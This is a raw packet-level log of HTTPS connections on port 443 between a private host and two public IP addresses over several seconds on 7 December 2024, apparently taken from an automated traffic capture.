Dec 7, 2024 17:35:39.459327936 CET	49759	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:39.459345102 CET	443	49759	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:39.459356070 CET	49759	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:39.459361076 CET	443	49759	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:39.463052988 CET	49764	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:39.463090897 CET	443	49764	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:39.463191032 CET	49764	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:39.463325024 CET	49764	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:39.463335037 CET	443	49764	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:39.704951048 CET	443	49754	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:39.705049038 CET	443	49754	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:39.705104113 CET	49754	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:39.705277920 CET	49754	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:39.705298901 CET	443	49754	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:39.863384008 CET	443	49760	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:39.911465883 CET	49760	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:40.018851042 CET	49760	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:40.018879890 CET	443	49760	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:40.023264885 CET	49760	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:40.023286104 CET	443	49760	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:40.343121052 CET	443	49760	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:40.343179941 CET	443	49760	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:40.343235970 CET	49760	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:40.728847980 CET	443	49761	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:40.770819902 CET	49761	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:40.780539036 CET	49760	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:40.780575037 CET	443	49760	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:40.780590057 CET	49760	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:40.780596018 CET	443	49760	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:40.863112926 CET	49761	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:40.863122940 CET	443	49761	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:40.869910002 CET	49761	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:40.869915962 CET	443	49761	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.035034895 CET	49765	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.035073042 CET	443	49765	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.035140038 CET	49765	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.064526081 CET	49765	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.064539909 CET	443	49765	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.079336882 CET	443	49763	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.079806089 CET	49763	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.079818010 CET	443	49763	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.080260992 CET	49763	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.080265045 CET	443	49763	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.080930948 CET	443	49762	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.081360102 CET	49762	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.081387043 CET	443	49762	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.081999063 CET	49762	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.082006931 CET	443	49762	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.180047035 CET	443	49764	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.180458069 CET	49764	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.180469036 CET	443	49764	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.180916071 CET	49764	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.180919886 CET	443	49764	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.185592890 CET	443	49761	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.185677052 CET	443	49761	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.185724974 CET	49761	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.185966015 CET	49761	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.185987949 CET	443	49761	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.186000109 CET	49761	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.186006069 CET	443	49761	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.190884113 CET	49766	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.190912962 CET	443	49766	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.190980911 CET	49766	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.191200972 CET	49766	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.191215992 CET	443	49766	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.280433893 CET	49767	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:41.280461073 CET	443	49767	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:41.280653954 CET	49767	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:41.280941963 CET	49767	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:41.280956984 CET	443	49767	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:41.517282963 CET	443	49763	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.517344952 CET	443	49763	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.517581940 CET	49763	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.517617941 CET	49763	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.517633915 CET	443	49763	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.517644882 CET	49763	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.517653942 CET	443	49763	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.518994093 CET	443	49762	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.519058943 CET	443	49762	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.520386934 CET	49768	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.520426035 CET	49762	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.520436049 CET	443	49768	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.520464897 CET	49762	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.520464897 CET	49762	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.520482063 CET	443	49762	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.520493031 CET	49768	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.520494938 CET	443	49762	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.520648956 CET	49768	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.520658970 CET	443	49768	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.522449017 CET	49769	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.522471905 CET	443	49769	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.522555113 CET	49769	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.522676945 CET	49769	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.522687912 CET	443	49769	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.660651922 CET	443	49764	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.660722017 CET	443	49764	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.660806894 CET	49764	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.661024094 CET	49764	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.661039114 CET	443	49764	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.661048889 CET	49764	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.661053896 CET	443	49764	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.663669109 CET	49770	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.663712025 CET	443	49770	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:41.663829088 CET	49770	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.663992882 CET	49770	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:41.664009094 CET	443	49770	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:42.497100115 CET	443	49767	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:42.497172117 CET	49767	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:42.498307943 CET	49767	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:42.498316050 CET	443	49767	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:42.498555899 CET	443	49767	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:42.499609947 CET	49767	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:42.500324965 CET	49767	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:42.500360966 CET	443	49767	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:42.500452995 CET	49767	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:42.500484943 CET	443	49767	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:42.500586987 CET	49767	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:42.500700951 CET	443	49767	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:42.500816107 CET	49767	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:42.500843048 CET	443	49767	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:42.500983000 CET	49767	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:42.501018047 CET	443	49767	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:42.501168013 CET	49767	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:42.501195908 CET	443	49767	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:42.501204014 CET	49767	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:42.501215935 CET	443	49767	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:42.501353025 CET	49767	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:42.501378059 CET	443	49767	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:42.501399040 CET	49767	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:42.501509905 CET	49767	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:42.501532078 CET	49767	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:42.547323942 CET	443	49767	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:42.547482014 CET	49767	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:42.547518015 CET	49767	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:42.547554016 CET	49767	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:42.595336914 CET	443	49767	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:42.595534086 CET	49767	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:42.639322996 CET	443	49767	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:42.789701939 CET	443	49765	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:42.790312052 CET	49765	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:42.790326118 CET	443	49765	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:42.790719986 CET	49765	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:42.790725946 CET	443	49765	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:42.936800003 CET	443	49766	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:42.937268972 CET	49766	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:42.937283039 CET	443	49766	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:42.937619925 CET	49766	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:42.937623978 CET	443	49766	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.228643894 CET	443	49765	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.228703022 CET	443	49765	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.228864908 CET	49765	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.228924036 CET	49765	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.228945017 CET	443	49765	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.228956938 CET	49765	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.228967905 CET	443	49765	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.231266975 CET	49771	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.231304884 CET	443	49771	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.231365919 CET	49771	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.231489897 CET	49771	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.231499910 CET	443	49771	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.251849890 CET	443	49768	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.252046108 CET	443	49769	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.252415895 CET	49768	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.252429008 CET	443	49768	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.253053904 CET	49768	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.253057957 CET	443	49768	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.253878117 CET	49769	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.253886938 CET	443	49769	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.254452944 CET	49769	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.254456997 CET	443	49769	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.410645962 CET	443	49766	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.410715103 CET	443	49766	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.410780907 CET	49766	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.417043924 CET	443	49770	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.458337069 CET	49770	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.459847927 CET	49766	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.459860086 CET	443	49766	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.459872007 CET	49766	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.459877014 CET	443	49766	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.471740007 CET	49770	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.471746922 CET	443	49770	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.482928991 CET	49770	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.482933044 CET	443	49770	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.612876892 CET	49772	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.612909079 CET	443	49772	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.612967968 CET	49772	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.613610029 CET	49772	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.613621950 CET	443	49772	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.743904114 CET	443	49768	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.743995905 CET	443	49768	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.744004965 CET	443	49769	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.744043112 CET	49768	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.744050980 CET	443	49769	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.744092941 CET	49769	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.752279043 CET	49768	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.752300024 CET	443	49768	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.752309084 CET	49768	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.752314091 CET	443	49768	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.790559053 CET	49769	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.790564060 CET	443	49769	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.790572882 CET	49769	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.790576935 CET	443	49769	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.855170965 CET	443	49770	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.855222940 CET	443	49770	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.855284929 CET	49770	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.955564022 CET	49770	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.955564976 CET	49770	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.955589056 CET	443	49770	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.955598116 CET	443	49770	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.991661072 CET	49773	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.991688013 CET	443	49773	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.991743088 CET	49773	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.994038105 CET	49774	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.994060993 CET	443	49774	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.994113922 CET	49774	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.995910883 CET	49774	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.995913029 CET	49773	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.995920897 CET	443	49774	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.995927095 CET	443	49773	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.997888088 CET	49775	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.997896910 CET	443	49775	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:43.997947931 CET	49775	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.998100996 CET	49775	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:43.998114109 CET	443	49775	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:44.965365887 CET	443	49771	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:44.965874910 CET	49771	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:44.965889931 CET	443	49771	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:44.966341972 CET	49771	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:44.966346025 CET	443	49771	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:45.333182096 CET	443	49772	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:45.333969116 CET	49772	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:45.333988905 CET	443	49772	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:45.334508896 CET	49772	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:45.334512949 CET	443	49772	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:45.402714014 CET	443	49771	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:45.402765036 CET	443	49771	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:45.402863979 CET	49771	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:45.408246040 CET	49771	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:45.408257961 CET	443	49771	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:45.408288002 CET	49771	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:45.408292055 CET	443	49771	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:45.412163019 CET	49776	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:45.412177086 CET	443	49776	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:45.412254095 CET	49776	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:45.412426949 CET	49776	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:45.412436962 CET	443	49776	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:45.709830999 CET	443	49773	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:45.710459948 CET	49773	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:45.710510015 CET	443	49773	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:45.710978031 CET	49773	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:45.710993052 CET	443	49773	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:45.713376999 CET	443	49775	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:45.713781118 CET	49775	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:45.713820934 CET	443	49775	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:45.714291096 CET	49775	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:45.714306116 CET	443	49775	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:45.715693951 CET	443	49774	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:45.716032028 CET	49774	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:45.716046095 CET	443	49774	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:45.716440916 CET	49774	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:45.716444969 CET	443	49774	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:45.768017054 CET	443	49772	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:45.768064022 CET	443	49772	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:45.768167973 CET	49772	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:45.768434048 CET	49772	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:45.768444061 CET	443	49772	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:45.768452883 CET	49772	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:45.768456936 CET	443	49772	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:45.771682978 CET	49777	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:45.771714926 CET	443	49777	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:45.771799088 CET	49777	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:45.771950006 CET	49777	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:45.771961927 CET	443	49777	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:46.150569916 CET	443	49773	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:46.150610924 CET	443	49773	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:46.150686026 CET	49773	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:46.150964022 CET	49773	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:46.150990009 CET	443	49773	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:46.151087999 CET	49773	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:46.151097059 CET	443	49773	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:46.154526949 CET	49778	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:46.154542923 CET	443	49778	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:46.154642105 CET	49778	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:46.154835939 CET	49778	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:46.154844999 CET	443	49778	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:46.159883976 CET	443	49775	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:46.159987926 CET	443	49775	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:46.160024881 CET	443	49774	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:46.160043955 CET	49775	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:46.160065889 CET	443	49774	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:46.160109997 CET	49774	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:46.160176992 CET	49775	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:46.160198927 CET	443	49775	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:46.160218954 CET	49775	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:46.160223961 CET	49774	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:46.160227060 CET	443	49775	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:46.160228968 CET	443	49774	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:46.160242081 CET	49774	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:46.160244942 CET	443	49774	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:46.162695885 CET	49779	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:46.162712097 CET	443	49779	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:46.162775993 CET	49780	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:46.162815094 CET	443	49780	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:46.162848949 CET	49779	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:46.162875891 CET	49780	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:46.162909031 CET	49779	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:46.162919044 CET	443	49779	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:46.163043976 CET	49780	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:46.163065910 CET	443	49780	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:47.128869057 CET	443	49776	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:47.135256052 CET	49776	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:47.135286093 CET	443	49776	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:47.135793924 CET	49776	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:47.135797977 CET	443	49776	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:47.502526045 CET	443	49777	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:47.503029108 CET	49777	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:47.503047943 CET	443	49777	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:47.503562927 CET	49777	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:47.503567934 CET	443	49777	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:47.564065933 CET	443	49776	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:47.564109087 CET	443	49776	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:47.564239979 CET	49776	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:47.564440012 CET	49776	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:47.564446926 CET	443	49776	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:47.564485073 CET	49776	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:47.564488888 CET	443	49776	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:47.567725897 CET	49781	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:47.567745924 CET	443	49781	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:47.567833900 CET	49781	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:47.568001986 CET	49781	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:47.568011045 CET	443	49781	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:47.869776964 CET	443	49778	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:47.870448112 CET	49778	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:47.870465994 CET	443	49778	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:47.871011972 CET	49778	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:47.871016026 CET	443	49778	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:47.877717018 CET	443	49780	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:47.877991915 CET	49780	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:47.878015041 CET	443	49780	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:47.878344059 CET	49780	443	192.168.2.7	13.107.246.63
